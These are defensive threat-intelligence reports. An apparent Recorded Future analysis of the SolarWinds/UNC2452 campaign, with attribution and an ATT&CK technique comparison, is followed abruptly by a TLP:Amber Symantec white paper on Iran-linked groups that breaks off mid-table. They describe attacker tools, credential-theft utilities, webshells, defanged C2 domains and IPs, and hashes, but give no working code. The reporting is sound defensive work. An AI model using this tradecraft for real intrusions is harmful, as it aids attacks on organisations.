registered.
Figure 13: Reference showing the certificate registration date for webcodez[.]com domain. (Source: Recorded Future)
We see the registration of webcodez[.]com on January 15, 2020, but do not see a TLS certificate
registered. This is one of the most recent registrations we see from this set of domains.
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These delays between domain registration and certification registration suggest that the actor may
have parked these domains for future use. As a result, we suggest the addition of ATT&CK sub-technique,
T1583.001 Acquire Infrastructure: Domains, to the UNC2452 actor.
Three of the IP addresses associated with the second-stage domains in the DomainTools report were
previously seen in Recorded Future. IP addresses 13[.]57[.]184[.]217 and 198[.]12[.]75[.]112 were previously
reported on abuseipdb.com on April 6, 2018 and March 19, 2020, respectively. IP address 3[.]16[.]81[.]254
was first seen on a public Pastebin post on January 20, 2019.
Figure 14: Reference showing mention of IP address 13[.]57[.]184[.]217 on AbuseIP Database on April 6, 2018. (Source:
Recorded Future)
Figure 15: Reference showing mention of IP address 198[.]12[.]75[.]112 on AbuseIP Database on March 19, 2020. (Source:
Recorded Future)
Figure 16: Reference showing mention of IP address 3[.]16[.]81[.]254 on PasteBin on January 20, 2019. (Source: Recorded
Future)
45[.]141[.]152[.]18 appears in multiple scans on the site Urlscan.io. Additionally, this IP address appeared
on the Recorded Future historic threat list, Recent Hosts of DDNS Names, observed July 19, 2020.
Possibility of Multiple Actors
Microsoft has also published indicators for a second malware which has been discovered to affect the
SolarWinds Orion product. It is undetermined whether this malware is associated with the Solorigate backdoor
or represents an additional threat actor. As per the Appendix section on the Microsoft blog:
In an interesting turn of events, the investigation of the whole SolarWinds compromise
led to the discovery of an additional malware that also affects the SolarWinds Orion
product but has been determined to be likely unrelated to this compromise and used
by a different threat actor. The malware consists of a small persistence backdoor in
the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is
programmed to allow remote code execution through SolarWinds web application server
when installed in the folder
inetpub\SolarWinds\bin\
. Unlike Solorigate, this malicious
DLL does not have a digital signature, which suggests that this may be unrelated to the
supply chain compromise.
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Microsoft, GuidePoint, and Palo Alto Networks have dubbed this second malware, a .NET webshell,
SUPERNOVA. SUPERNOVA is thought to load CosmicGale, a malicious Powershell script. Microsoft advises that
if SUPERNOVA is detected on SolarWinds installations, it should be treated as a separate infection. While far
from conclusive, this additional malware raises the possibility of multiple actors within the same environment.
Multiple actors on the same system, knowingly or unknowingly, are not novel. For example, evidence of both
APT28 and APT29 were found on Democratic National Committee servers breached in 2016. Additionally, a file
leaked from the ShadowBrokers releases showed 45 file signatures that could be used to scan for infection
from other actors, some not publicly known at the time. Still, this adds to the argument that we are far from
decisive attribution.
Conclusions
At the Virus Bulletin 2018 conference, security researcher Juan Andres Guerrero-Saade stated,
Currently,
our understanding is stated in binary terms:
is the actor sophisticated or not?
As evidenced by the plethora
of media commentary around this new campaign, not much has changed. We have attempted to add more
color to the current picture of attribution, as well as attribution in general.
Based on our analysis, we believe the actor behind this campaign is exceptionally focused and patient,
even when compared with other state-sponsored campaigns; demonstrates an intricate knowledge of modern
information technology practices, architecture, and supply chains; is experienced in a wide variety of attacker
techniques; and is very familiar with security researcher techniques and approaches. We don
t have a full
picture of the details of this intrusion due a variety of factors, including at least partially, balkanized data
collection among a variety of security vendors and providers.
The actor behind the SolarWinds breach appears to be selective of targets, both in choosing particular
organizations to pursue and purposefully excluding organizations. Careful selection denotes a set of
requirements for targeting rather than targets of opportunity commonly seen in cybercrime incidents. Still,
this curated targeting evidently included FireEye, a curious choice for a cautious actor. Targeting a company
specializing in cybersecurity demonstrates a remarkable audacity, but has been previously seen from both
Russian-affiliated actors (NotPetya) and Chinese-affiliated actors (CCleaner). We can conclude this actor
either weighed requirements against high risk and believed FireEye was so critical a target as to risk an
entire operation, or the actor believed their expertise was such that discovery would not destroy their entire
operation. Alternatively, the actor may have been driven by a penchant for revenge: some have speculated part
of the motivation behind targeting the Hilary Clinton Presidential Campaign in 2016 was due to her approaches
while Secretary of State. Either way, the boldness speaks to the character of the actor, as well as escalates
the importance of the companies they excluded. Logically, if they believed discovery was at least a moderate
possibility, the actor likely excluded certain organizations from targeting to expand the time until the exposure.
Our analysis of UNC2452 shows no conclusive attribution, however that was not our exclusive intent.
Incident responses and investigations are ongoing at dozens of organizations, with hundreds of others
assessing impact. The leading theory of a single, known actor, speculated to be the Russian intelligence
services or, possibly, a Chinese actor should continue to be assessed. However, we conclude the particular
nation behind this campaign is irrelevant for the purposes of tactical defensive actions. Any single actor
hypothesis would inevitably be well-funded and state-affiliated, based on the operational time spent prior to
breach and the target set involved. Undoubtedly, there will be further information released in coming days
and weeks, as the full scope of the campaign comes into focus. Tactically, Recorded Future suggests following
the advice provided by security vendors for securing your networks and best practices for conducting
investigations. Strategically, we suggest clues be added to public, annotated ATT&CK matrixes of known
techniques. In this way, defenders can identify organizational gaps and prioritize improvements based on
their level of impact, better assessing risk to the organization at large.
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Appendix
MITRE ATT&CK Analysis
Appendix Figure 1: Visualization of compiled UNC2452 techniques, generated on ATT&CK Navigator
We conducted an analysis of UNC2452
s known techniques on MITRE ATT&CK Enterprise version 8.
UNC2452, as disclosed by FireEye thus far, demonstrates 25 techniques, and 14 sub-techniques under MITRE
ATT&CK. (Note: we compared techniques with those enumerated by the original FireEye report on UNC2452,
as well as one put together by Picus Security.) We then mapped out UNC2452 technique overlaps with APT29
and APT41. Picus Security adds to certain techniques to their analysis for UNC2452, including:
T1021 Remote Services
T1036.003 Masquerade: Rename System Utilities
T1036.004 Masquerade Task or Service
T1036.05 Masquerade: Match Legitimate Name or Location
T1041 Exfiltration over C2 channel
T1078 Valid Accounts (also seen in Microsoft report)
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion
T1583.003 Acquire Infrastructure: Virtual Private Servers
T1587.001 Develop Capabilities: Malware
UNC2452 has six techniques overlapped with APT29, and 11 techniques overlapped with APT41. Nine
techniques are novel and not seen in either actor
s known previous incidents.
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Technique Overlaps with APT29
Appendix Figure 2: MITRE ATT&CK mapping of UNC2452 [shown in red] and APT29 [shown in yellow]. Overlapping techniques are shown in orange.
Based on the FireEye report on UNC2452, we track five techniques that overlap with APT29:
Resource Development
T1583 Acquire Infrastructure (T1583.003 Private Web Server for UNC2452, T1583.006 Web
Server)
T1587 Develop capabilities, though different sub-techniques (Malware T1587.001 for UNC2452,
Digital Certificates T1587.003 for APT29)
Initial Access
T1078 Valid accounts (Domain accounts T1078.002 for APT29)
Execution
T1569 System Services
Persistence
T1078 Valid accounts (Domain accounts T1078.002 for APT29)
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Privilege Escalation
T1078 Valid accounts (Domain accounts T1078.002 for APT29)
Defensive Evasion
T1070 Indicator Removal on Host (File Deletion T1070.004)
T1078 Valid accounts (Domain accounts T1078.002 for APT29)
T1027 Obfuscated Files or Information
While this is not conclusive, it can be significant. Techniques shown in APT29 yet not appearing in
UNC2452 tracking may be areas for further discovery by defenders. Alternately, these techniques may have
not been applied toward this campaign. Conversely, techniques novel to UNC2452 yet not appearing in APT29
may demonstrate newly deployed capabilities. Lack of overlay may open the possibility that UNC2452 is
not related to APT29, however this is far from conclusive. Either way, if UNC2452 is ultimately attributed to
APT29, this would indicate substantial investment in structure and capabilities.
Differences in UNC2452 and APT29 Techniques
Certain techniques used by UNC2452 have not been observed amongst known techniques for APT29.
Rather than disprove association, these could indicate substantial expansion of techniques. If UNC2452
is ultimately synonymized with APT29, we can conclude extensive resources to support such technique
expansion:
Initial Access
T1195 Supply Chain Compromise, Sub-technique T1195.002 Compromise Software Supply Chain
Persistence
T1543 Create of Modify System Process, Sub-technique T1543.002 Windows Service
Privilege Escalation
T1543 Create of Modify System Process, Sub-technique T1543.002 Windows Service
Defensive Evasion
T1036 Masquerading Sub-techniques T1036.004 Masquerade Task or Service, T1036.05 Match
Legitimate Name or Location, T1036.003 Rename System Utilities
T1553 Subvert Trust Controls, Sub-technique T1553.002 Code Signing
T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion
Lateral Movement
T1021 Remote Services
Command and Control
T1071 Application Layer Protocol, Sub-technique T1071.001 Web Protocols
T1568 Dynamic Resolution, T1568.002 Domain Generation Algorithms
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UNC2452 Technique Overlaps with APT41
Appendix Figure 3: Visualization of ATT&CK technique comparison between UNC2452 and APT41
Some sources have posited the possibility of threat actors other than APT29 being behind the breach. One
possibility which is frequently mentioned is APT41, which is attributed to China according to the September
2020 U.S. Department of Justice indictments of seven defendants, and crosses between state-associated
espionage and cybercrime. We identified eight technique overlaps between APT41 and UNC2452:
Initial Access
T1195 Supply Chain Compromise, Sub-technique T1195.002 Compromise Software Supply Chain
T1078 Valid Accounts
Execution
T1569 System Services, Sub-technique T1569.002 Service Execution
Persistence
T1543 Create or Modify System Processes, Sub-technique T1543.003 Windows Service
T1078 Valid accounts
Privilege Escalation
T1543 Create or Modify System Processes, Sub-technique T1543.003 Windows Service
T1078 Valid accounts
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Defensive Evasion
T1070 Indicator Removal on Host, Sub-technique T1070.004 File Deletion
T1036 Masquerading Sub-techniques T1036.05 Match Legitimate Name or Location
T1553 Subvert Trust Controls, Sub-technique T1553.002 Code Signing
T1078 Valid accounts
Command and Control
T1568 Dynamic Resolution, T1568.002 Domain Generation Algorithms
Other Actors
Other actors have been posited as candidates for this campaign. Winnti Group has been suggested as a
possible candidate actor, given similar DGA patterns seen in 2019 from CCleaner supply chain attacks. Some
further analysis is necessary, as the MITRE ATT&CK group for Winnti has only three ATT&CK techniques
associated with it:
T1057, Process Discovery, Winnti Group looked for a specific process running on infected servers
T1014, Rootkit
, Winnti Group used a rootkit to modify typical server functionality
T1553.002, Subvert Trust Controls: Code Signing, Winnti Group used stolen certificates to sign its
malware
These techniques do correspond with techniques leveraged in this campaign, especially the leveraging
of a trusted supply chain, however the current campaign is far more expansive, both in terms of technical
development and the scope of victims.
Novel Techniques for UNC2452
A subset of techniques in UNC2452 are not seen in known techniques for APT29 nor APT41. Additionally,
these techniques are not documented for Winnti either, however this is at least partially attributed to the
incomplete MITRE ATT&CK group for this actor:
Execution
T1072 Software Deployment Tools
Defensive Evasion
T1036 Masquerading, Sub-techniques T1036.004 Masquerade Task or Service, T1036.003
Rename System Utilities
T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion
Discovery
T1057 Process Discovery
T1012 Query Registry
T1480.001 Execution Guardrails: Environmental Keying
T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion
T1562.001 Impair Defense: Disable or Modify Tools
Lateral Movement
T1021 Remote Services
Command and Control
T1071 Application Layer Protocol, Sub-technique T1071.001 Web Protocols
Exfiltration
T1041 Exfiltration of C2 Channel
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About Recorded Future
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Symantec Critical Attack Discovery and Intelligence
Current Iran-Associated Cyber Threats
White Paper
Broadcom
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January 24, 2020
Symantec Critical Attack Discovery and Intelligence White Paper
Current Iran-Associated Cyber Threats
Broadcom, the pulse logo, Connecting everything, and Symantec are among the trademarks of Broadcom.
Copyright
2020 Broadcom. All Rights Reserved.
The term
Broadcom
refers to Broadcom Inc. and/or its subsidiaries. For more information, please visit www.broadcom.com.
Broadcom reserves the right to make changes without further notice to any products or data herein to improve reliability,
function, or design. Information furnished by Broadcom is believed to be accurate and reliable. However, Broadcom does
not assume any liability arising out of the application or use of this information, nor the application or use of any product or
circuit described herein, neither does it convey any license under its patent rights nor the rights of others.
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Table of Contents
Chapter 1: About This Document ...................................................................................................... 4
Chapter 2: Executive Summary ......................................................................................................... 5
2.1 Iranian Cyber Ecosystem .........................................................................................................................................5
2.2 Key Observations......................................................................................................................................................6
2.3 Outlook.......................................................................................................................................................................6
Chapter 3: Details of Groups ............................................................................................................. 7
3.1 Shamoon....................................................................................................................................................................7
3.2 Dustman/ZeroCleare .................................................................................................................................................8
3.3 Elfin ............................................................................................................................................................................8
3.3.1 Case Study 1 ....................................................................................................................................................9
3.3.2 Case Study 2 ..................................................................................................................................................10
3.4 Seedworm ................................................................................................................................................................10
3.4.1 Case Study 1 ..................................................................................................................................................10
3.4.2 Case Study 2 ..................................................................................................................................................11
3.5 Tortoiseshell............................................................................................................................................................12
3.6 Chafer.......................................................................................................................................................................12
3.7 Crambus...................................................................................................................................................................13
3.7.1 Case Study .....................................................................................................................................................13
3.8 Other Iran-linked Groups........................................................................................................................................14
Chapter 4: Conclusion ..................................................................................................................... 15
Appendix A: Indicators of Compromise (IOCs) ............................................................................. 16
Appendix B: Mitre Attack Techniques ............................................................................................ 19
Revision History ............................................................................................................................... 24
SED-IAP-WP100; January 21, 2020.............................................................................................................................. 24
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Chapter 1: About This Document
This report is classified TLP: Amber.
The Traffic Light Protocol (TLP) was created in order to facilitate greater sharing of information. TLP is a set of designations
used to ensure that sensitive information is shared with the appropriate audience.
TLP:Red: Recipients may not share TLP:RED information with any parties outside of the specific exchange, meeting, or
conversation in which it was originally disclosed.
TLP:Amber: Recipients may only share TLP:AMBER information with members of their own organization, and with
clients or customers who need to know the information to protect themselves or prevent further harm.
TLP:Green: Recipients may share TLP:GREEN information with peers and partner organizations within their sector or
community, but not via publicly accessible channels.
TLP:White: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For additional information on the TLP, see http://www.us-cert.gov/tlp.
For a briefing on this white paper, contact us at [email protected] to connect with a Symantec security
specialist.
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Chapter 2: Executive Summary
Increased tensions between the U.S. and Iran have led to fears of an upsurge in Iranian cyber attacks against organizations
associated with the U.S. and its allies. Iran has an extensive track record in this sphere, with government-sponsored cyber
threat groups conducting numerous offensive cyber operations in recent years.
Symantec, a Broadcom company, assesses that these groups will continue to conduct operations at a high pace.
Furthermore, Symantec believes that any escalation in the number of operations or changes in industry or regional targeting
focus will take time to materialize. Organizations in previously compromised industries and regions face a higher threat of
being targeted by Iranian cyber operations and should re-examine their detection and mitigation strategies to deter Iranian
government-sponsored threat groups' known tactics, techniques, and procedures (TTPs).
However, an internal need to mount some kind of public response may mean the nature of Iranian activity may differ with
the change in circumstances, causing them to target different organizations, in particular highly visible organizations
associated with the U.S. and its allies.
This document summarizes the various targeted attack activity groups, their recent action, and some indicators of
compromise (IOCs) with the intention of providing the reader with an understanding of capabilities and techniques used by
groups known to be operating from Iran. The attribution underlying the data in this paper is based on publicly available
information and is not solely based on our own analysis directly.
2.1 Iranian Cyber Ecosystem
The Iranian cyber ecosystem is decentralized and fluid, with individual threat actors moving between cyber espionage
groups and even undertaking cyber crime activity. Attacks are not infrequently outsourced to individual external contractors
working within small corporate consultancies. This structure makes it difficult for researchers to definitively group threat
actors and can offer the Iranian government plausible deniability for destructive attacks. In several cases, Symantec has
seen threat actor groups share tools, infrastructure, targets, and tactics.
The tactics of Iranian threat actors have evolved from quick and relatively simple destructive attacks, such as distributed
denial of service (DDoS) attacks or website defacements, to an increased focus on network compromises where the actors
maintain a persistent foothold and obfuscate their presence to make attribution difficult. Iranian groups have increasingly
targeted critical infrastructure including energy and telecommunications companies.
Iranian threat groups have also been tied to multiple destructive wiper attacks. Identifying potential targets for destructive
attacks is particularly problematic because a change from espionage to destruction comes with limited warning if a threat
group is already present on a network, as seen with Timberworm and Greenbug espionage operations facilitating the
Shamoon destructive attacks beginning in late 2016.
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2.2 Key Observations
Considering the multitude of disparate groups operating and conducting cyber attacks against organizations around the
globe, there is not a single trait that defines them. The following are some key observations from tracking these groups:
During recent years, actor groups operating out of Iran have honed their skills at an unprecedented scale, being able to
victimize Fortune 500 organizations along with their public sector counterparts.
The groups appear to be unconcerned with attacks being publicly attributed to them.
Aside from Greenbug and Shamoon having worked together, most of the different groups seldom work in tandem; they
seem to mostly be independent of each other, working under organizational mandates which do not often intersect.
In the early years, the groups appeared motivated to conduct DDoS attacks against financial institutions, with the aim of
attempting heists, but those attacks have not been seen for several years.
Groups such as Elfin, Crambus, Seedworm, Chafer, Tortoiseshell, and others are motivated to conduct espionage by
attacking:
Private sector: Telecommunication providers, transportation (air and marine) entities, defense contractors, oil and
natural gas companies, and those in their supply chain.
Public sector: Military intelligence, diplomatic missions, think tanks, and defense ministries.
Some of the groups have no reservations in conducting destructive attacks, rendering computing equipment unusable.
Several groups make extensive use of dynamic DNS services while conducting attack campaigns.
At least two of the groups have shown a proclivity towards using DNS as a communication channel between victimized
computers and the malware's control infrastructure, that is DNS tunneling. This functionality has been observed across
both IPv4 and IPv6.
The two most widely used methods of infiltrating a target's network remain:
Spear phishing using topical themes with embedded scripts that invoke PowerShell to download additional
components.
Publicly documented vulnerabilities such as those in VPN and web servers.
All groups rely on public or open-source tools (Mimikatz, LaZagne, and so on) to conduct their campaigns; the only
differing factor amongst the groups is the degree of reliance.
There appear to be several hacktivists that conduct uncoordinated attacks, like site defacements, as a sign of
patriotism. These are unpredictable and opportunistic, so details have been left out of this document.
2.3 Outlook
Given the history of attacks originating from Iran, it is evident the groups consider destruction of equipment as an acceptable
form of damage to targets. However, to date these incidents have only targeted Middle Eastern entities. Iranian actors have
not shown an appetite for conducting similar attacks against Western organizations. Considering the tense geopolitical
climate in 2020 and based on previous Iranian activity, we believe cyber attacks originating from Iran or Iranian proxies would
be (in order of descending probability):
Wipers being used for destructive attacks against critical infrastructure
Infrastructure for telecommunication providers being attacked to disrupt services
Hacktivist defacements of popular websites
DDoS attacks against financial entities
To date, most Iran originating actor groups, other than Greenbug and Shamoon, operated with only a small degree of
collaboration. We suspect a coordinated attack campaign is more likely in 2020 but organizing such an attack is likely to take
time.
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Chapter 3: Details of Groups
Over the past several months, several Iran-linked threat groups named Shamoon, Elfin, Seedworm, and Crambus have
been especially prolific against a wide range of industry verticals.
3.1 Shamoon
Name
Shamoon
Aliases
Cutting Sword of Justice
First Seen
2012
Malware Used
W32.Disttrack, W32.Disttrack.B, Trojan.Filerase
Targeted Sectors
Energy, Aviation, Government
Infection Vectors
Secondary infections
Shamoon has received a lot of public attention since it first appeared in August 2012 and used the malware family
W32.Disttrack in its attacks against two Middle Eastern oil and natural gas organizations. The attacks were destructive in
nature, wiping out critical data from computers and rendering them unusable.
The malware used by this group leveraged a legitimate driver to wipe machines, and subsequently reported wiping statistics
to a command and control (C&C) server.
In both attacks from 2012, and those subsequently seen towards the end of 2016, hard-coded network credentials were
configured into the malware, which assisted its spreading across the network. These credentials were acquired and likely
shared by Greenbug, allowing Shamoon the ability to execute its attack.
Table 1 shows the timeline of activity on a single computer used as patient zero during a Shamoon attack at the end of 2016.
Table 1: Activity Timeline on Computer During 2016 Shamoon Attack
Time
File Name
Description
08/12/2016 06:24
MSMPENG.EXE
Mimikatz
18/01/2017 16:33
in-cloud4.exe
PSExec
18/01/2017 16:33
cloudapp4.exe
PAADmin
18/01/2017 16:35
PNRP4.exe
Hacktools
18/01/2017 18:48
gc.exe
Hacktools
18/01/2017 18:48
gc.exe
Hacktools
18/01/2017 18:49
ff.exe
Hacktools
18/01/2017 18:49
ie.exe
Hacktools
18/01/2017 18:49
ff.exe
Hacktools
18/01/2017 18:49
ie.exe
Hacktools
18/01/2017 18:50
em.exe
Hacktools
18/01/2017 18:50
em.exe
Hacktools
18/01/2017 18:52
ol.exe
Hacktools
22/01/2017 18:19
pnrp4.exe
Hacktools
22/01/2017 18:19
cloudapp4.exe
Hacktools
23/01/2017 03:05
ntertmgr32.exe
W32.Disttrack.B
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Credentials were likely stolen a month prior to the attackers' return to use common legitimate tools to dump additional
information from the victim network before deploying Disttrack.
Shamoon reappeared for a third time in December 2018 when it was once again used against targets in the Middle East.
These attacks were doubly destructive, since they involved a new wiper (Trojan.Filerase) that deletes files from infected
computers before the Shamoon malware wipes the master boot record (MBR).
3.2 Dustman/ZeroCleare
Name
Dustman
Aliases
ZeroCleare
First Seen
2019
Malware Used
Dustman, ZeroCleare
Targeted Sectors
Energy
Infection Vectors
Unknown
In December 2019, IBM X-Force publicly wrote about a wiper malware it came across and named ZeroCleare based on PDB
strings within the malware. This malware is an evolution of Disttrack, used in the Shamoon incidents. The authors updated
the malware logic but retained the underlying logic of utilizing the Eldos driver to overwrite the MBR and partitions. The
attackers used a vulnerable VirtualBox driver to bypass security controls and eventually use the Eldos driver to gain direct
access to the raw hard disk and conduct their wiping operation.
Symantec automatically detected and blocked this piece of malware in July 2019, which appears closer to the date of
compilation of the malware in June 2019.
In January 2020, the National Cybersecurity Authority of Saudi Arabia released a report about a wiper malware they called
Dustman based on the file name used during an attack campaign. Dustman is a further evolution of ZeroCleare, where the
authors optimized functionality into a single file instead of the methods used in the June/July campaigns.
3.3 Elfin
Name
Elfin
Aliases
APT33, Stonedrill, Holmium, Refined Kitten, Magnallium, Alibaba
First Seen
2015
Malware Used
Hacktool.Mimikatz, Backdoor.Notestuk, Trojan.Nancrat, Trojan.Netweird.B, Trojan.Stonedrill,
Backdoor.Patpoopy, Trojan.Quasar, RULER, Backdoor.Powerton
Targeted Sectors
Aerospace, Defense, Energy, Chemical Engineering, Financial, Food, Government, Logistics, Professional
Services, Shipping, Technology
Infection Vectors
Email
Elfin relies on custom and commodity malware to gather data for likely cyber espionage operations targeted at entities
primarily in Saudi Arabia and the United States.
Elfin makes extensive use of dynamic DNS infrastructure during targeting, along with purchased hosts at globally located
VPS providers serving as proxies for C&C.
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3.3.1 Case Study 1
In June 2019, Elfin sent out a phishing email to hundreds of recipients across multiple countries in what could be deemed
an opportunistic trawling attack. The link within the document led recipients to dynamic DNS infrastructure controlled by the
attackers. Figure 1 is a screenshot of the email sent.
Figure 1: Screenshot of Email Sent by Elfin
As Symantec observed email activity across numerous sectors and regions, it appeared likely that Elfin was conducting a
widespread email campaign with enticing lures to hook high-value targets at multiple organizations, rather than targeting
specific industries.
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3.3.2 Case Study 2
Subsequently, in late August 2019, Elfin operators compromised a victim in Saudi Arabia with a malicious HTA file. Following
the initial compromise, Elfin continued to rely on the group's known TTPs to further its foothold in the host. During the
incident, the legitimate utility mshta.exe executed a malicious HTA file with a job application theme (Figure 2).
Figure 2: Malicious HTA file with a Job Application Theme
Based on the file path of the malicious HTA file in the command shown in Figure 2, the file was downloaded after a victim
used Microsoft Edge to visit a malicious website. Elfin actors have previously leveraged emails containing links to malicious
websites that, when visited, automatically download their first-stage malware to victim machines.
A PowerShell command then downloaded a JPG file from a dynamic DNS host spoofing a U.S. defense contractor.
Figure 3: PowerShell Command Used to Download JPG File
3.4 Seedworm
Name
Seedworm
Aliases
MuddyWater, Temp Zagros, Static Kitten
First Seen
2017
Malware Used
Backdoor.Powemuddy, (aka Powermud, POWERSTATS), SHARPSTATS, DELPHSTATS, Backdoor.Mori
Targeted Sectors
Government, Energy, Telecommunications, Technology, Research
Infection Vectors
Email
Seedworm has been engaging in espionage operations predominately in Turkey, Pakistan, Russia, and a number of Middle
Eastern countries.
3.4.1 Case Study 1
Between April and June 2019, Seedworm used the Powermud v2 backdoor to attack four victims in the telecommunications
and education industries in Turkey, New Zealand, Ukraine, and the United Kingdom.
Seedworm gained access to the victims' networks through phishing emails with attached Microsoft Word documents, which
the actors likely used as lure files. These documents contained a malicious macro that runs when the user clicks Enable
Editing and Enable Content. Examples of these documents are shown in Figure 4.
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Figure 4: Examples of Word Documents Used by Seedworm
On a computer within an IT services management company in Turkey, the group uploaded PowerShell Empire, a postexploitation framework that allows users to run PowerShell commands without using powershell.exe, which includes
modules to aid in credential stealing and data collection.
After compromising a target system by installing Powermud, Seedworm first runs a tool that steals passwords saved in users'
web browsers and email, demonstrating that access to the victim's email, social media, and chat accounts is one of the
group's likely goals. Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows
authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled
variants, which we have determined are only used by this group.
In order to perform lateral movement on the victim's network, Seedworm uses a vulnerability scanner to search for Microsoft
Server Message Block (SMB) remote code execution vulnerabilities on other computers in the compromised subnet (see
security update MS17-010).
3.4.2 Case Study 2
The most recent Seedworm espionage activity was seen between October 2019 and January 2020, against international
public organizations, think tanks, and telcos across the U.S., Nigeria, Afghanistan, Iraq, Saudi Arabia, and Pakistan. The
malware used by Seedworm in this attack is called Backdoor.Mori, which:
Creates and stores data within the registry under HKLM\Software\NFC
Executes commands from the operator on-demand, utilizing pipes and cmd.exe /c
Uses DNS tunneling to communicate with its C&C server
Examined samples contain the following domains to be used for DNS tunneling C&C communication, one of which is picked
randomly and used:
Table 2: Domains Used for DNS Tunneling C&C Communication
device-update [ . ]tk
googlecloud [ . ]cf
googlecloud [ . ]gq
microsoftsecurity [ . ]gq
msdn-social [ . ]ml
msdn-social [ . ]tk
officex64 [ . ]ml
outlook-accounts [ . ]ml
outlook-accounts [ . ]tk
spacex [ . ]cf
spacex [ . ]gq
windowscortana [ . ]tk
windows-patch [ . ]ml
windows-patch [ . ]tk
Some variants of Backdoor.Mori communicate via HTTP with a unique identifier for the sample being used, possibly
customized for the victim network
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Seedworm appears to have used Word and Excel documents as the infection vector during this attack campaign. These
documents used a combination of JavaScript downloaders and PowerShell to install the Mori backdoor on victim computers.
As an example, on one targeted computer Excel was observed being used to download additional components, as shown
in Figure 5.
Figure 5: Excel Used to Download Additional Components
3.5 Tortoiseshell
Name
Tortoiseshell
Aliases
None
First Seen
2018
Malware Used
Backdoor.Syskit
Targeted Sectors
IT services
Infection Vectors
Compromised web servers
Tortoiseshell has tentative links to the Elfin group. The group has to date focused itself on performing classic supply chain
attacks against Saudi Arabian organizations. The target organizations are primarily IT providers operating widely in the
region. Tortoiseshell is believed to be compromising IT providers in order to gain access to their clients.
As part of the infection routine on one target, the attackers initially compromised a web server, installed a web shell, and then
used it to deploy malware onto the network. Once on a victim computer, Tortoiseshell deploys several information gathering
tools, retrieving a range of information about the computer, including IP configuration, running applications, system
information, network connectivity, and so on.
3.6 Chafer
Name
Chafer
Aliases
APT39
First Seen
2014
Malware Used
Backdoor.Remexi, Backdoor.Remexi.B, Backdoor.Agenty, Backdoor.Tcpy, and Backdoor.Httpy
Targeted Sectors
Airlines, Telecommunications, Software Development
Infection Vectors
Email, SQL Injections
Chafer is one of the most active Iran-linked groups in operation. Chafer has compromised a large number of organizations
based in the Middle East and Europe.
Chafer appears to be primarily involved in intelligence gathering and several of its attacks, such as those against telco
operators or airlines, were likely carried out to facilitate surveillance of end-user customers.
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One of the organizations compromised by Chafer in 2017 was a telco services provider in the Middle East, which sells its
solutions to multiple telco operators in the region. By moving two steps up the supply chain the attackers could potentially
have carried out surveillance on a vast pool of end users. Chafer is also known to have attempted to compromise a large
international travel reservations firm, indicating its mission to track movements or communication related to certain entities.
Chafer has been observed compromising victims by attacking web servers, likely through SQL injection attacks. It has also
used malicious documents likely circulated using spear-phishing emails sent to individuals working in targeted organizations.
3.7 Crambus
Name
Crambus
Aliases
Oilrig, Twisted Kitten, APT34, ITG13
First Seen
2015
Malware Used
Trojan.Herherminth, Trojan.Ismagent, Poison Frog, Sakabota, QUADAGENT, Glimpse, Highshell
Targeted Sectors
Government, Financial, Technology
Infection Vectors
Email, Watering Holes
Crambus has mounted operations against targets in Saudi Arabia, Israel, the United Arab Emirates, Lebanon, Kuwait, Qatar,
the United States, and Turkey.
The group usually infects its victims with malware via spear-phishing attacks, targeting individuals within organizations of
interest using malicious Office documents with embedded macros to install its backdoor. Crambus has also been known to
send emails containing links to websites registered by the attackers and employ social-engineering tactics to trick victims
into downloading and installing its malware.
3.7.1 Case Study
Between July 2018 and June 2019, Crambus engaged in network intrusion operations against organizations in the Middle
East, with a particular focus on Saudi Arabia and Kuwait. Targets included public administration and defense organizations,
a technology organization, and an airline.
After gaining access to the targeted computers, Crambus executed two backdoors: Sakabota and Poison Frog. Sakabota
can be used for reconnaissance, privilege escalation, lateral movement, and to maintain persistence. It contains additional
functionality shown in Table 3.
Table 3: Additional Sakabota Functionality
Downloading files from a URL
Uploading files over FTP
Taking screenshots
Brute force logins to network shares
Remote port forwarding
Scanning ports
Conducting ping scans
Poison Frog is capable of using DNS tunneling for C&C, uploading and downloading files to a C&C server, and executing
remote commands.
Crambus also deployed the webshells shown in Table 4 on infected computers to maintain persistence.
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Table 4: Webshells used by Crambus to maintain persistence
File Name
SHA256
Owa.aspx
24307b1fa0e6e513355b3143a3c61c5ddf7adf43a70856dd1ab6449cf8cb2408
Error.aspx.txt
97df67112a953a91bd86a9df3e039493eba95b544a8e3acec2fe5b274c01240a
To collect credentials and escalate privileges, Crambus used a number of publicly available tools including:
Invoke-WCMDump - A PowerShell tool that can dump credentials from the Windows Credential Manager.
Mimikatz - An open-source, post-compromise credential theft tool.
LaZagne - An open-source password recovery tool.
Alongside the lateral movement capabilities of Sakabota, the group used several command-line utilities to perform lateral
movement, including the native Windows utility Netsh and Plink, the command-line tool from the PuTTY suite.
3.8 Other Iran-linked Groups
Table 5: Other Iran-linked Groups
Name
Aliases
Description
Cadelle
Active since at least 2012. Known for compromising a large number of
Backdoor.Cadelspy
individuals in Iran, as well as organizations outside Iran. The organizations
outside Iran include airlines, telecommunication companies, and at least one
Middle Eastern Ministry of Foreign Affairs. Likely linked with the Chafer group.
Both groups have attacked the same organizations, even infecting several of the
same computers. In one case, the same computer was compromised within
minutes by both groups. It is possible that Cadelle and Chafer are one in the
same, however, there is insufficient evidence to definitely state this.
Greenbug
Volatile Kitten, Active since at least June 2016. Involved in targeted attacks in the Middle East Trojan.Ismdoor
Cutting Kitten against organizations in the government, aviation, energy, investment and,
Hacktool.Seasharpee
education sectors. Possible link to Shamoon, since a number of organizations Backdoor.Vodiboti
compromised by Greenbug were subsequently attacked by Shamoon.
Timberworm
Magic Hound,
News Beef
Active since at least 2016. Known to attack organizations in the government,
Backdoor.Mhretriev
energy, chemical/pharmaceutical and transportation sectors. Focused on Saudi Backdoor.Mapkill
Arabia, but victims have also been discovered in Iraq, the UAE, Qatar, and the
U.S. Possibly linked to Shamoon, since a number of organizations compromised
by Timberworm were subsequently attacked by Shamoon.
Cricket
Rocket Kitten,
Flying Kitten
Active since at least January 2010, Cricket initially made its name through
Trojan.Rapidstealer
website defacements but has since expanded into espionage, targeting
Infostealer.Mysayad
